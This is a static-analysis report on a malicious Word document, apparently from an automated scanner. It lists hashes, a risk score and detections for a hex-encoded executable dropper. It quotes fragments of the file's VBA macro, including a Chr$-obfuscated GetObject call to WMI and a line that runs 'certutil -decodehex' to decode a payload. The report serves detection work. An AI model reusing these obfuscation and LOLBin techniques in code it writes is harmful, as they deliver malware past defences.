Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b12d861a7f0a2ac9…

MALICIOUS

Office (OOXML)

1.48 MB Created: 2020-06-02 17:30:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-07-24
MD5: 47b395a2984081ab4b50bca93ce397fa SHA-1: 24edc748c029f9ac24b6c38f17b4d69840a1a27e SHA-256: b12d861a7f0a2ac9fb181b30460243b2f8539cc49accba2b1d2b13ad6340688f
184 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Ol1.create "certutil -decodehex -f " + SignedStr + " " + SignedStr, Null, Null, processid
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set Ol1 = GetObject(Chr$(119) + Chr$(105) + Chr$(110) + Chr$(109) + Chr$(103) + Chr$(109) + Chr$(116) + Chr$(115) _
        + Chr$(58) + Chr$(87) + Chr$(105) + Chr$(110) + Chr$(51) + Chr$(50) + Chr$(95) + Chr$(80) + Chr$(114) _
  • Large OOXML part skipped info SCAN_INCOMPLETE
    One or more high-value OOXML parts exceeded the scanner's per-entry size cap and may not have been fully inspected.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)